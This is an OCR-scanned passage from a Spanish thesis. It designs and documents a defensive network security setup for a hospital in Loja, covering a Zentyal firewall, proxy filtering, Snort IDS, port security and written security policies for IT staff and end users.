El correcto disefio de este mddulo permitira evitar amenazas resultantes del acceso a

internet, con lo que se pretende:

— Evitar accesos no autorizados, mediante el filtrado realizado en el firewall de la red.
— Evitar ataques DoS, mediante una correcta configuracion del router de internet y el
firewall.

— Evitar IP Spoofing, mediante filtrado en el router de ISP vy el firewall.
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— Evitar paquetes Sniffers, a través de la configuracion del firewall y la
implementacion de IDS.
— Ejecutar un motor de filtrado web, para evitar que los usuarios internos accedan a

paginas no autorizadas o consideradas de alto riesgo.

El firewall es el principal componente para lograr combatir estas amenazas, todos los
paquetes que no sean conocidos por el firewall seran borrados, Se debe filtrar el
trafico entrante a la red, en el router de internet, con el fin de evitar los ataques de

negaciéon de servicio al servidor web.

s Firewall
El firewall es el componente principal del esquema de seguridad, ademas al incorporar
un Sistema IDS, se debe considerar las siguientes caracteristicas o requerimientos de

Hardware y Software.

Servicio Especificacion
Puerto
Conexion a internet 1 puerto LAN
DMZ 1 puerto LAN
Conexibn a la intranet 1 puerto LAN
Velocidad de puertos 10/100/1000 Base T
Seguridad
Evitar DoS Si
Sistema IDS Si
Alta disponibilidad Si
Evitar Spoofing Si
Funcionalidad de red
Direccion de red estética Si
NAT Si
DNS Si
Rutas estéticas Si
Administracién de ancho de banda
QoS Si
Agrupacion de usuarios para | Usuarios, grupos, subredes
asignacion de ancho de banda
Sistema
Soporte para logs Si
Envio de alertas E-mail
Administracion HTTPS/SSH

Tabla 49. Especificacion de los servicios del Firewall.
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En base a estas caracteristicas se plantea el uso de la distribucion Linux Zentyal

Version 2.2.1 para la Seguridad Perimetral, configurando algunos servicios de

seguridad del perfil UTM, e Infraestructura, los cuales se describen a continuacion:

— Firewall

- IDS

— Antivirus

— Filtro HTTP

— Filtro de Correo Electrénico

— DNS

— Monitor de Ancho de Banda.

La organizacion Zentyal plantea los siguientes requerimientos de hardware éptimos

para su instalacion en relacién de acuerdo a los servicios que se van a ejecutar.

Perfil de Zentyal | Usuarios CPU Memoria | Disco | Tarjetas
de red
Puerta de <100 P4 o equivalente 2G 80G 2 6 més
acceso 100 6 mas | Xeon Dual core o 4G 160G | 26 mas
equivalente
UTM <100 P4 o equivalente 1G 80G 1
100 6 mas | Xeon Dual core o 2G 160G 1
equivalente
Infraestructura <100 P4 o equivalente 1G 80G 1
100 6 mas | P4 o equivalente 1G 160G 1
Oficina <100 P4 o equivalente 1G 2100G 1
100 6 mas | Xeon Dual core o 2G 1000G 1
equivalente
Comunicaciones <100 Xeon Dual core o 4G 2100G 1
equivalente
Xeon Dual core o 8G 1000G 1
equivalente

Tabla 50.

Requerimientos de hardware 6ptimos para instalacion de Zentyal.
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WEB

eth2: 172

Core

IP: 172.

eth1:
192.168.1.2

IP: 192.168.1.1
eth0: 172

llustracion 93. Configuracion interfaces Zentyal Bloque Perimetro.

2.3.1.3. Bloque de ISP

El ISP proporciona Internet con un enlace de 3Mbps a través de un router. En algunas
instituciones tanto publicas como privadas se posee un router particular para la
administracion de direcciones IPs publicas; sin embargo, la presente propuesta se
limita a implementar un router particular considerando que actualmente no se requiere
administrar enlaces WAN vy el servicio de enrutamiento a internet y seguridad en este
nivel del disefio se obtiene por parte del ISP bajo estrictas condiciones de
confidencialidad, por otra parte no se posee los recursos necesarios para su

adquisicion.
El ISP debera proveer los siguientes servicios:

— Internet

— DNS

El router del ISP sera configurado con una direccion IP privada, una direccion IP

publica para internet y una IP publica para el Servidor Web.
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2.3.2. Disefio del Esquema de Red propuesto

Router ISP

p’
Firewall =
Zentyal E

Servidor \Web

NIDS Alienvault

Servidor Recaudacion

Switch 3Com
Corel

Servidor Yoz

Servidor DHCP

= N A A

3Com-Distl Cisco-Dist2 Cieco-Dist3 3Com-Distd 3Com-Dists

llustracion 94. Disefio del esquema de red propuesto para el H.I.A.L.

Fuente: Autoras. Realizado en: DIA

La siguiente tabla describe los requerimientos de los equipos por cada modulo del

disefio.
BLOQUE MODULO EQUIPOS CANTIDAD
BLOQUE Servidor Firewall 1
PERIMETRO MODULO INTERNET (Proxy)
Servidor WEB 1
Switch Capa 3 2
MODULO CORE (Multicapa)
NIDS 1
. Servidor de Aplicaciones 4
BLOQUE DE MODULO SERVIDORES y Volp, DHCP
CAMPO MODULO DE 5
DISTRIBUCION DEL Switch de Capa 2
EDIFICIO
MODULO DE ACCESO . 1
DE USUARIOS Switch de Capa 2

llustracion 95. Distribucion de equipos por médulos de SAFE.
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2.4. Politicas de Seguridad

2.4.1. Introduccioén

Los requerimientos de seguridad que involucran las tecnologias de la informacion, en
pocos afios han cobrado un gran auge, y mas aun con las de caracter globalizador
como los son la de Internet y en particular la relacionada con el Web, la visién de
nuevos horizontes  explorando mas alla de las fronteras naturales, situacion que ha

llevado la aparicion de nuevas amenazas en los sistemas computarizados.

Llevado a que muchas organizaciones gubernamentales y no gubernamentales
internacionales desarrollen politicas que norman el uso adecuado de estas destrezas
tecnolégicas y recomendaciones para aprovechar estas ventajas, y evitar su uso

indebido, ocasionando problemas en los bienes y servicios de las entidades.

De esta manera, las politicas de seguridad en informatica que proponemos emergen
como el instrumento para concientizar a sus miembros acerca de la importancia y
sensibilidad de la informacién y servicios criticos, de la superacion de las fallas y de

las debilidades, de tal forma que permiten a la Institucion cumplir con su misién.

El proponer esta politica de seguridad requiere un alto compromiso con la Institucion,
agudeza técnica para establecer fallas y deficiencias, constancia para renovar y

actualizar dicha politica en funcion del ambiente dinamico que nos rodea.

La propuesta ha sido detenidamente planteada, analizada y revisada a fin de no
contravenir con las garantias basicas del individuo, y no pretende ser una camisa de
fuerza, y mas bien muestra una buena forma de operar el sistema con seguridad,
respetando en todo momento estatutos y reglamentos vigentes de la Institucion, para

lo cual nos basamos en la Norma ISO 27000. (Anexo K)

Algunas acciones que por la naturaleza extraordinaria tuvieron que ser llevadas a la
practica como son: los inventarios y su control, se mencionan, asi como todos los
aspectos que representan un riesgo o las acciones donde se ve involucrada y que
compete a las tecnologias de la informacién respecto a la problematica de seguridad

informatica organizacional.
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2.4.2. Politicas parala Unidad De Gestion Informéatica del Hospital Isidro Ayora
de la Ciudad de Loja

2.4.2.1. Medidas de seguridad para evitar dafios por virus

1. No instalar software que no sea original o pre-instalado sin el soporte original,
preferiblemente software sin licencias comerciales.
Utilizar discos externos y protegerlos contra escritura.

3. Analizar todos los discos nuevos que se introduzcan en los sistemas con un
antivirus, incluso los discos vacios (por que estos podrian contener virus en su
sector de arranque).

Actualizar cada mes los patrones de los antivirus de los servidores.

Obtener los programas que se necesiten de Internet desde los sitios oficiales.

2.4.2.2. Politicas para proteccion contra el robo de identidad

1. No utilizar contrasefias que tengan algun significado, como fecha de nacimiento,
nombres, numero de teléfono, etc.

2. No utilizar contrasefias con palabras conocidas en cualquier idioma. Es importante
que la contrasefia contenga minimo 8 caracteres letras mayusculas, mindsculas y
nameros.

Nunca enviar contrasefias por e-mail, Messenger, chats, etc.
No emplear la misma contrasefia para todos los servicios ni equipos.
Cambiar anualmente las contrasefias de equipos y servidores o cuando se ha

identificado accesos no autorizados.
2.4.2.3. Politicas para proteger la red inalambrica

1. Mantener siempre habilitado la autenticacion WPA en los dispositivos de acceso
inalambrico.

2. Utilizar contrasefias robustas para administracion de los equipos de acceso
inaldmbrico con la combinacién de nimeros y simbolos.

3. Limitar el numero de computadoras que pueden conectarse a la red inalambrica a
través del servicio DHCP.

4. No utilizar cuentas con privilegios administrativos para navegar por Internet.
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2.4.2.4. Politicas de Respaldos y prevencién

1. Los recursos o activos de informacién, deben estar adecuadamente protegidos
contra dafos fisicos, accidentales o intencionales

2. La Unidad de Gestion Informatica (UGI) es responsable por la definicidn, inclusion
y mantenimiento de los elementos a respaldar en todas las plataformas
informaticas y sistemas de informacién de la Institucion.

3. La Unidad de Gestion Informatica es responsable de la administracién de los
medios de almacenamiento externo, asignacion, reutilizacion, desincorporacion,
custodia y traslados entre las instalaciones de la organizacion.

4. La salida de los medios almacenamientos de informacién debe ser debidamente
autorizada y registrada.

5. Los recursos o activos de informacion, deben estar adecuadamente protegidos
contra dafios fisicos, accidentales o intencionales

7. Todo respaldo que se desee ejecutar periddica o esporadicamente debe contar
con una documentacién minima que sirva de guia para el area de operacion y/o
almacenamiento.

8. Los recursos 0 activos de informacion, deben estar adecuadamente protegidos

contra dafos fisicos, accidentales o intencionales

2.4.2.5. Politicas de cumplimiento de labores diarias y rutinas de seguridad.

1. El horario de atencién de la Unidad de Gestién Informatica del Hospital Isidro
Ayora de Loja es en la mafiana de 08:00 a 12:00 y en la tarde de 13:00 a 16:00 en
dias laborables de lunes a viernes.

2. Mantener informado al responsable de la UGI sobre cualquier situacion anémala
gue ocurra durante su jornada de trabajo.

3. Participar en los proyectos asignados al area y reportar oportunamente los

avances de las tareas asignhadas.

Monitorear que se cumplan las politicas de los respaldos.

Llevar registro de novedades diarias.

Llevar registros de finalizacion de las actividades diarias.

N o o A

Informar al responsable de la UGI sobre cualquier recepcion de material de trabajo.
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8. Informar al responsable de la UGI sobre el estado de la existencia de materiales y
dar aviso si cualquier rubro muestra escasez.

9. Archivar los medios de almacenamiento en un lugar seguro.

10. Preparar y registrar medios a trasladarse a bodega y viceversa.

11.Cumplir con los controles y normas para la entrega de medios a usuarios internos y
externos.

12.Cumplir con el horario de acuerdo a sus funciones.

13.Sugerir cambios que mejoren cualquier proceso o tarea que esté bajo su
responsabilidad.

14.Participar en la definicion y mantenimiento de las politicas y metodologias que
permitan la mejor utilizacién de los recursos.Todo empleado o pasante de la UGI
debe conocer y comprometerse formalmente a cumplir la normativa, asumiendo las
medidas disciplinarias establecidas en caso de violaciones de las mismas.

15.Mantener informado al responsable de la UGI sobre cualquier situacion anémala
gque ocurra durante su jornada de trabajo.

16.Participar en los proyectos asignados al area y reportar oportunamente los
avances de las tareas asignadas.

17.Realizar una configuracion de la seguridad al o los navegadores de Internet como
minimo a "Media".

18.Actualizar los sistemas de los Servidores, con los parches de seguridad
respectivos.

19.Nunca revelar contrasefias por chat ni por correo electrénico.

20.Instalar el navegador Firefox 8.0 o superior, actualizar su versién una vez

disponible, con los plugins para evitar pantallas emergentes y spyware.

2.4.2.6. Politicas de administracion de Seguridad.

1. Actualizar periédicamente los servicios instalados en los servidores.
Revisar diariamente las alertas proporcionadas por el Servidor SIM.

3. Configurar los equipos de cliente con su respectivo salvapantallas y exigir el uso
correcto de las contrasefias.

4. Llevar un registro y actualizar los cambios de localidad de las oficinas con los
puntos de red, para evitar la conexidn de usuarios a una vlan incorrecta.

5. Comprobar la localidad de los equipos inventariados por el asistente de Inventario

de Alienvault y vincular los mismos con el nombre de usuario.
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Evitar tener habilitado puertos de los equipos de red en los puntos no estén en
uso, ya sea por remodelacién de instalaciones o ausencia del personal.

Usar estrictamente conexiones SSH para la administracion y configuracion de los
equipos.

Guardar los cambios de configuracion en los equipos de red de forma permanente
para evitar su pérdida por un corte de energia inesperado.

Obtener copias de seguridad cada vez que se realicen cambios en los servidores
que impliquen la configuracion de politicas.

Obtener copias de seguridad de la la configuracién de los equipos de forma
trimestral

Capacitar a los usuarios finales el uso de software antivirus en los equipos de

computacién para evitar la proliferacién de virus a través de la red.

2.4.3. Politicas de usuario final para la seguridad de la informaciéon y los

equipos de computacion

2.4.3.1. Politicas de Seguridad Légica para el Usuario Final

Se prohibe a los usuarios dar a conocer a terceras personas su contrasefia, quien
asi lo hiciere debe tomar en cuenta que sigue siendo el Unico responsable de
actividades que se realicen con su identificacion de usuario y contrasefia.

El usuario debe asegurarse que al digitar su contrasefia no esté siendo observado
por ninguna persona.

En el caso de que el usuario sospeche que su contrasefa ha sido comprometida, o
ha olvidado la misma debera solicitar inmediatamente a la UGI su cambio.

No se debe utilizar contrasefias que resulten obvias, faciles de adivinar o descubrir,
deberan tener una longitud minima de 8 caracteres, entre los cuales deben incluir
letras mayusculas, minusculas nimeros y simbolos.

No se debe escribir ni registrar en ningin medio la contrasefia y dejarla en sitios

facilmente accesibles.

2.4.3.2. Prevencion de virus y otros programas que causan dafios

Los usuarios deben evitar cualquier actividad que comprometa la seguridad de la

informacion en sus computadores personales en cuanto a la introduccion de virus u

otros programas maliciosos, para ello:
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Se prohibe introducir en los computadores personales cualquier medio de
almacenamiento sin que haya sido previamente analizado con el programa
antivirus.

Se prohibe conectar en la red del Hospital cualquier equipo de computacion sin
autorizacion del director de la UGI.

El usuario debera abstenerse de abrir o reenviar mensajes de correo electrénico de

dudosa procedencia ya que pueden ser fuente de virus o similares.

2.4.3.3. Acerca del uso de internet, correo electrénico y servicios relacionados

El uso de internet y sus servicios requiere estrictos controles para evitar riesgos

ocasionados por su inadecuada utilizacién, por ello:

1.

La utilizacion de internet debe ser solamente para asuntos relacionados con sus
labores en la Institucion.

Se prohibe el uso de mensajeria instantanea y redes sociales, servicios como
Messenger, Facebook, Twitter, Imo, etc, en horas laborables y en horas extra-
laborables esta sujeta a la autorizacion de las altas autoridades institucionales.

Se prohibe y se restringe la navegaciéon por sitios de internet relacionados con
temas tales como pornografia, diversion, entretenimiento y en general sitios
ajenos por completo a las actividades de los funcionarios de la Institucién. Si un
usuario requiere para sus funciones acceso a un sitio restringido por la politica,

debe solicitarlo a través de su jefe inmediato a la UGI.

2.4.3.4. Politicas de Seguridad Fisica

Los computadores personales dotados por el Hospital para el desempefio de sus

actividades son un importante activo de informacion institucional, por ello cada

funcionario debe tomar una serie de precauciones para precautelar la integridad tanto

del computador como de la informacién y programas en él contenidos:

1. Se prohibe almacenar o procesar informacion ajena a las funciones

encomendadas en el computador. La informacion y programas almacenados en los
computadores personales son de propiedad de la Institucion. Si se requiere de un
programa adicional comunicar a la UGI por escrito.

En caso de pérdida del equipo de computacion se debe reportar inmediatamente a
la UGI.
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Los computadores de escritorio deben ser apagados una vez terminada la jornada
de trabajo y dejar la oficina con las debidas seguridades de accesos.

Para efectos de proteger la informacién y los programas almacenados en el PC,
los usuarios deben utilizar una contrasefia de acceso asi como de protectores de
pantalla. La UGI debera dar la capacitacion necesaria de las funciones de
seguridad.

Cada usuario es responsable por la informaciéon almacenada en su computador y
por tanto estd en la obligacion de realizar periodicamente respaldos de dicha
informacién. La periodicidad estara en funcion de la criticidad de los datos
almacenados y de las vulnerabilidades (Por ejemplo, el uso compartido del
equipo).

Se prohibe realizar cualquier cambio a la configuracion fisica interna del
computador, extraer o colocar componentes y en general cualquier cambio que
altere el equipo.

En caso de fallas o malfuncionamiento de los componentes fisicos o sistemas del
computador, el usuario debera acudir a la UGI para realizar el procedimiento de

mantenimiento respectivo.
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2.5. Implementacion del Esquema de Seguridad
2.5.1.Seguridad Perimetral

La implementacion del Servidor de Seguridad Perimetral Zentyal permitié establecer

las politicas de acceso desde y hacia internet.

Zentyal proporciona un icono de facil acceso al panel de control, en el cual se solicita

el usuario y clave del sistema.

Y Zentyal - Mozilla Firefox -8 x

File Edit View History Bookmarks Tools Help

[0 localhost | https://localhost v l [-‘]v \l ~N

@ Mozilla Firefox is free and open source software from the non-profit Mozilla Foundation. | Know your rights... | *

PN vemome [
\, Password: :]

zentyal | Enter |

Zentyal created by eBox Technologies S.L.

llustracion 96. Acceso al Panel de Control de Zentyal.

La instalacion realizada incorpora servicios de los siguientes perfiles:

— Gateway: Establece el enrutamiento hacia internet, mediante la configuracion de
las interfaces de red.
— UTM: Incorpora los servicios: Cortafuegos, Proxy HTTP y control de ancho de

banda, Filtrado de contenidos, IDS.
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nvenido Seleccione los paquetes de Zentyal a instalar
Seleccion de
paquetes
Confirmacién 57 \ ( 4 -
A ) @™ ) e =
Instalacién | ‘grl I n D_ - ‘ -
L= L
Configuracién inicial \
Guardar cambios -
Gateway UT™ Infrastructure Office Communications
Mas informacién Mas informacién Mas informacién Mas informacién Mas informacién
(= = L a
¢ @ =2 @ ® ®
Antivirus Backup Bandwidth Captive Certification DHCP DNS Service
Monitor Portal Authority Service
£ y
- = 2 @ = @
FTP File Sharing Firewall Groupware HTTP Proxy IPsec Intrusion
Service (Zarafa) (Cache and Detection
e ewaa i
) S _ ‘ g
= 43 e A8 =
Jabber Layer-7 Mail Filter Mail Service Monitor NTP Service Network
(Instant Filter Configuration
8 & % & @
‘ N : =1
PPTP Printer RADIUS Traffic User Corner Users and VPN Service
Sharing Shaping Groups
..... 2
2 4 @ B
Virtualization VoIP Web Mail Web Server Zentyal
Manager Service Cloud Client
| instalar || & saltar instalacién |

llustracion 97. Instalacion de los servicios en Zentyal.

Al establecer Zentyal como Gateway se requiere disponer una interfaz de red como

externa, y en nuestro caso las dos restantes como internas, tanto para la red local,

como para DMZ.

Interfaces de Red (mostrar ayuda)

eth0 eth2

Interfaces de Red (mostrar ayuda)

Interfaces de Red (mostrar ayuda)

Externo (WAN):

Margque aqui si esta usando Zen

Direccién IF 2.2
Mascara de red 5.248| =

Interfaces Virtuales

Externo (WAM): O

Margque aqui si esta usando Ze|

Direccion IP: (192 168.1.2
Mascara de red: | 355 255 255,252 | o

Interfaces Virtuales

ethl ethio ethl eth2 eth0 ethl eth2
MNombre: [ethU ] Mombre: [ethl ] Nombre: [ech ]
Método: [ Ectatico - Metodo: | Ectatico o Método: | Estatico -

Externo (WAN): O
Margque aqui si estd usando Zen

Direccion IP: [172.16.1.1

255.255.255.248 | &

Cambiar

Mascara de red:

Interfaces Virtuales

llustracion 98. Interfaces de red.

La interfaz de red configurada como externa cuenta con una puerta de enlace, que

constituye la direccién IP del router del ISP.
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Configuraciéon de Puertas de Enlace (mostrar ayuda)

J Puertas de enlace v Proxy Balanceo de trafico WARN failover

Lista de Puertas de Enlace

b Afadir nuevo/a

[ ][ Buscar ]
Habilitado Nombre Direccion IP Interfaz Peso Predeterminado Accion
172.16 172.16 etho 1 o i &

10 = | Péaginal I:H:II:“:I

llustracion 99. Configuracion de Puerta de enlace.

Zentyal implementa en cada servicio un software especializado para su administracion,

como se describe a continuacion:
— DNS: Bind

El Servidor Firewall implementara ademas el servicio DNS para proporcionar un

acceso ligero a las paginas web con mayor demanda en la red.

(. (=115 https://localhost/Network/Composite/DNS

o000 A

Most Visitedv  {}zentyal.com {Jzentyal.org () Decumentation 3Forum {3 Online Store

Czentyal [

,  Traductor de Servidores de Nombres de Dominio (mostrar ayuda)

Lista de traductores de servidores de nombres de dominio

Dashboard gp Anadir nuevo/a

Estado de los Madulos

[ ] [ Buscar ]

Sistema

Red Servidor de nombres de dominio Accion
Interfaces 127.0.0.1 LFan
Puertas de enlace

200.107 il & N
DNS
Objetos 200.107 i
Servicios
10 | % | Péaginal DDDD

Rutas estaticas

llustraciéon 100. Servicio DNS.

— Proxy HTTP: SQUID

El Proxy fue configurado inicialmente de tipo transparente, para que todo el trafico de
la red LAN a internet se redirija al Proxy para filtrar los paquetes correspondientes a

los perfiles disefiados.
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Se cred6 un perfil por defecto Default, para el filtro de contenidos utilizando

Dansguardian, y un perfil Permisivo, para usuarios con privilegios.

Proxy HTTP (wostrar ayuda)

Obtén las actualizaciones del sisterna de Ad blacking para mantener tu praxy HTTP &l dia de los ditirmos anuncios v eliminalos
de tu navegacidn, Las actualizaciones del sisterna de Ad blocking estén integradas en la suscripeidn adicional Actualizaciones
de Sequridad Avanzadas, Esta garantiza que los sistemas de Antivirus, Antispamn, IDS v Filtrado de Contenidos instalados en
tu servidor Zentyal se actualizan diariamente de acuerdo a la informacidn recogida por los principales expertos en la
seguridad TIC,

Proxy Transparente:

Mitese que no se puede usar proxy HTTPS de forma transparente. Se necesitard afiadir una
regla de firewall si se habilita este madao.

Blgueo de Propaganda:
Quitar anuncios de todo el trafico HTTP

Puerto: 3125
Tamafio de los ficheros de cache (MB): 10
Politica predeterminada: Filtrar -

Fitter significa que las peticiones HTTP pasan por el filtro de contenidos v que podrian ser
rechazados si el contenido no se considera valido,

b Afadir nuevo/a

llustracion 101. Proxy HTTP.

— Control de Contenidos: Dansguardian

En el médulo de Proxy se agregé las politicas para filtrado de contenidos, por
extension, url y dominio, afiadiendo una Lista Negra, obtenida de la pagina oficial de
Dansguardian.

Perfiles de Filtrado » default (mostrar ayuday

Usar antivirus:

Umbral: peshabilitade -
Esto sspecifica cuan estricto &5 sl filtro

Eiltrado de d ini Filtrado de tipos MIME Filtrado de extensiones de fichera

Blaquear dominios y URLs no listadas: []
Si esta opcidn estd habilitada, cualguier dominio o URL que no esté en |a seccidn Reglas
G dominios, ni en Ficheros de listas de dominios debajo serd prohibido.
Bloquear sitios sspecificados sélo coma 1P [
ap Afiadir nuevo/a
e-messenger.net Siernpre denegar i &
ebuddy.com Siempre denegar W&
gateway.edge.messenger.live.com Siernpre denegar i &
geo.messenger.services live.com Siernpre denegar W&

llustraciéon 102. Control de contenidos.
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— Antivirus: ClamAV

Se habilité el software antivirus, el cual actuara junto con el de filtro de contenidos para
el deteccion de paquetes infectados que atraviesan el firewall.

— Firewall: NetFilter

El Firewall de Zentyal implementa las reglas de acceso al Servidor, hacia y desde
internet, hacia la DMZ y desde redes externas hacia la red interna en el caso de los

equipos médicos que requieren administracion remota.

Packet Filter

: o Estas reglas le permiten controlar el acceso desde redes internas a servicios que corren en su
ay maquina Zentyal
-
Configurar reglas

. aH]]

Estas reglas le permiten controlar el acceso desde sus redes internas a Internet, v el trafico
entre sus redes internas. Si desea dar acceso a los servicios de Zentyal, debe usar la seccién

9
4
superiar,
Confiqurar reqlas

Estas reglas le permiten controlar el acceso desde redes externas a servicios que corren en
su maguing Zentyal.

@ @ E ! Debe saber que afiadiendo reglas a esta seccidn puede estar comprometienda la
C0Y
e

seguridad de su red, permitienda el acceso desde redes no confiables. Por favar,
hdgalo solo si sabe lo que estd haciendo,

Configurar reglas

Estas reglas le permiten controlar el acceso desde redes externas a redes internas

- E ! Diebe saber que afiadiendo reglas a esta seccidn puede estar comprometiendo la
seguridad de su red, permitiendo el acceso desde redes no confiables, Por favor,
;} hdgalo sdlo si sabe lo que estd haciendo.

Confiqurar reglas

llustracion 103. Reglas de filtrado.

La regla de firewall que se establece por defecto en todos los grupos es DENEGAR
cualquiera, el trafico que atraviese el firewall sera solo aquel que esté explicitamente

permitido.
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. Filtrade de paguetes » Desde redes internas hacia Ientyal
Dashboard
ashboar op Aftadir nuevo/a
Estado de los Médulos
Sistema
Red | |
Mantenimiento L] RED_DMZ cualquiera - T
Gestion de software T~ RED_LAN dns . & M
Suscripeién L] Administracion ssh - it M
Proxy HTTP [, ] Administracion Administracidn de Zentyal - i & M
Moldeado de trafico X Cualquiera cualquiera REGLA POR DEFECTO s
RADIUS 10+ Pagina 1
Portal Cautivo
Cortafuegos
Filtrado de paguetes

llustracion 104. Reglas de acceso al servidor.

Debido a que el Proxy no filtra contenido HTTPs se definieron objetos de red con las
direcciones IP de las instituciones y sitios web permitidos para este protocolo se
acepta el trafico HTTP de las redes internas y se esteablecié la regla de denegacion

para cualquier otro servicio.

Se establecié la regla de denegacién de cualquier servicio desde la red externa hacia
el Firewall, mientras se permite cualquier trafico saliente de Zentyal hacia las redes
LANy WAN.

Se establecié la redireccién del puerto HTTP al Servidor Web conectado a la interfaz
para la zona DMZ del Firewall, una vez configurado el router de borde por parte del
ISP para redirigir el trafico desde la red externa hacia el firewall.

— |IDS: Snort

El Sistema de Deteccion de Intrusos implementado Snort, permitira identificar trafico
anomalo desde y hacia internet, registrara y enviara las respectivas alertas por medio
de Zentyal Cloud al correo electronico de la UGI. La configuracion de alertas se realizé

en el médulo Mantenimiento > Eventos.
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Eventos (mostrar ayuda)

Configurar eventos E Configurar emisores

Recibe alertas autormndticas adquiriendo la Suscripcién Profesional o Empresarial, Consulta |a lista completa de alertas
disponibles agui.
Buscar
Nombre Descripcién Configuracién Accion
Estado Comprusha si Zentyal estd actualments en activa o Ninguno #
inactiva
Motifica cuando un registrador (VPN, Sesiones del
Observador de administradar, RADIUS, Proxy HTTP, Cambios en la = #
registros canfiguracian, Cortafuegas, IDS, Uso de ancha de =
banda, Correo) ha registrado algo
WA faillover Verifique si las puertas de enlace estdn conectadas o Ninguno 2
desconectadas.
Espacio de .
5 Comprobar si alguna particion no tiene espacio libre de =
gmesoremEt almacenamienta E 2
- Comprueba si algin servicio de Zentyal no ssts
Servicia ejecutdndose cuando deberia estar haciéndolo Ninguno Z
Copia de seguridad Motificar el resultado de los respaldos programados. Minguno &
= . Moatificar cuande un valor en concreto ha llegada un =
Monitarizacion ciorte umbral =] &
ad”:;'éﬁﬂg;'das de Comprueba si hay alguna actualizacién de seguridad Ningunao &

llustracion 105. Configuracion de alertas.

Se puede activar o desactivar la generacién de eventos, y a la vez configurar cada uno

de ellos.

Eventos ~ Observador de registros
Configurar los observadores de registros
Buscar
Filtrando Accion

ids =] &
bwrnonitar_usage ] &
rail P r
sudit_sessions & &
openvpn =] &
squid =] &
firewall =] &
audit_actions &
radius =] #

llustracion 106. Observador de registros.

Se puede configurar a los emisores que serén los encargados de emitir las alertas.
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Eventos (mostrar ayuda)

Configurar eventos Confiqurar emisores
Buscar

Registro Fichero de registra Minguno &
Zentyal Cloud Zentyal Cloud = &
Correo Cuenta de carreo . &
|} Jabber Cuenta Jabber = &
= RSS Fichero RSS: Alerts F. &

10 + Pé&ginal

llustracion 107. Configurar emisores.
— VPN: OpenVPN2, PPTP, IPSec.
Se utilizara Zentyal como Servidor VPN para la conectividad con Zentyal Cloud.

La Suscripcién basica de Zentyal Cloud requiere de un enlace por medio de VPN

proporcionando informes de alertas y monitoreo basico del servidor.
A través de la URL: http://cloud.zentyal.com, con previa suscripcion.

Zentyal proporciona una suscripcion profesional por un costo econémico anual, con el
cual se rescibe soporte técnico y respaldos para recuperacion de desastres y

administracion remota, por lo que se recomienda su adquisicion.

€& P O zentyal.com | hitpsy/fcloud zentyal.com/services/server/ 15320/ | |28~ Googie
’ ‘ t I MarioEnrique Cueva {20 @ ol &
=
= A
Status: Connected (since 11 Mar 2013, 07:41) @
Public IP: 190.152.220.202 =y 11 hours 2ge 0z
Zentyal core version: 2.2.2 s
2 sy, 11 hours ago :
0 Modules: . “
O Running 020
2 days, 17 hours 3go
0 stopped 015
3 dtays, 11 hours ago .10
Zentyal packanes - Connection lag - Mogule status oos
4 dayz, 9 howrs ago
o0
See the basic aletts 2330 2340 2380 o0 ou10 20
short term| [ mid term @llona term
Main.
Wantto acoess remotely to your -
¥ to ¥t rr—— MarioEnrique Gueva-Zentyal zentyal me
senver? Upgrade to the Small Subdomains
Business or Enterprise Edition to enable this option, *MarioEnriqueCueva-Zenyal zentyal. me
Undate log - flias managerment

llustracion 108. Zentyal Cloud.
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— Gestion de Software

Cada servicio de zentyal incuye paquetes que se pueden instalar o desintalar segun

\ Componentes de Zentyal
! Aviso: Estas actualizaciones son de comunidad y no garantizan que tu servidor funcionara correctamente después de haberlas
Dashboard aplicado. Servidores en produccion deberian tener actualizaciones de software con garantia de calidad. Obtén una Suscripcion
Profesional o Empresarial para habilitar las actualizaciones de software con garantia de calidad
Estado de los Modulos
Sistema
Ver modo basico
Red
Mantenimiento
Gestion de software Search :
Componentes de " " & ”
Zentyal
Actualizaciones del DHCP Service 2.2.1 O
sistema
Configuracién FTP 221 O
Suseripcion File Sharing Service 2.2 O
Proxy HTTP Filtro de correo 222 O
Moldeado de trafico Groupware (Zarafa) 2.2.2 O
RADIUS
IPsec e O
Portal Cautivo
Jabber (Instant Messaging) 2.2 O

llustracion 109. Gestion de Componentes de Zentyal.
— Configuracion Avanzada

En caso de requerir una configuracion avanzada de los servicios, Zentyal permite
ejecutar scripts durante el proceso de aplicacion de cambios en la configuracion de los

Servicios:

letc/zentyal/pre-save Se ejecutaran antes de comenzar el proceso.
letc/zentyal/post-save Se ejecutaran los scripts con permisos de ejecucion del
directorio cuando el proceso haya finalizado.
letc/zentyal/hooks/<module>.presetconf Este fichero permite personalizar un
mo&dulo <module> de zentyal como squid o firewall.
letc/zentyal/hooks/<module>.postsetconf El fichero se ejecutard tras guardar la

configuracion.

2.5.2.Seguridad Interna

La configuracion de los equipos de red, se realizé utilizando el software Minicom, que
permite acceder por un puerto de consola. Esta herramienta presenta las mismas

funcionalidades que el conocido Hyperterminal para Sistemas Windows.
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Para instalar Minicom, escribimos en la consola de Linux:

#apt-get install minicom

root : minicom

Bookmarks Settings Help

A Serial Device : /dev/ttyso
B - Lockfile Location : /var/lock
C Callin Program

Pres| D - Callout Program
E Bps/Par/Bits 1 9600 8N1
F - Hardware Flow Control : No
G - Software Flow Control : No

Change which setting? il

| Screen and keyboard |
| Save setup as dfl |
| Save setup as.. |
| Exit |

llustracion 110. Configuracion del puerto serial en Minicom.

Una vez instalado configuramos los siguientes parametros de acuerdo al equipo:

— Bits de datos: 8

Paridad: Ninguno

Bits de parada: 1

Flujo de Control: Ninguno

Cisco:

— Bits por segundo: 9600

3Com:
— Bits por segundo 19200

2.5.2.1. Seguridad de Capa 2

Para la implementacién de seguridad en la capa 2 de la red, se considerd las

siguientes medidas de prevencién y proteccion:
% Control de trafico Broadcast

Configuracion del switch para que al momento en que el trafico broadcast se exceda el

45% del ancho de banda disponible envie una alerta.
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s Implementacién de puertos seguros
La implementacién de port security se realiz6 con las siguientes propiedades:

— Restringir el acceso a los puertos segun la MAC.

— Restringir a uno el niamero de direcciones MAC por puerto.

— Que el puerto aprenda las direcciones MAC automaticamente

— Enviar una alerta administrativa si el numero de direcciones sobre pasa el

establecido mediante SNMP

El mensaje de alerta es recibido por el equipo de monitoreo y deteccion de intrusos

ubicado en la VLAN de administracion de equipos de red AlienVault.
% Designacion de puertos en VLANs

Algunas consideraciones que se implementaron en VLAN:

— Deshabilitar autotrunking en todos los puertos de acceso.

— Utilizar una VLAN dedicada para los puertos trunk.

— No utilizar la VLAN 1.

— Habilitar seguridad en la VLAN de voz, de forma que solo se otorgue acceso a la
VLAN a aquellos equipos que correspondan con la identificacion de MAC (OUI)

correspondiente a la marca del teléfono.

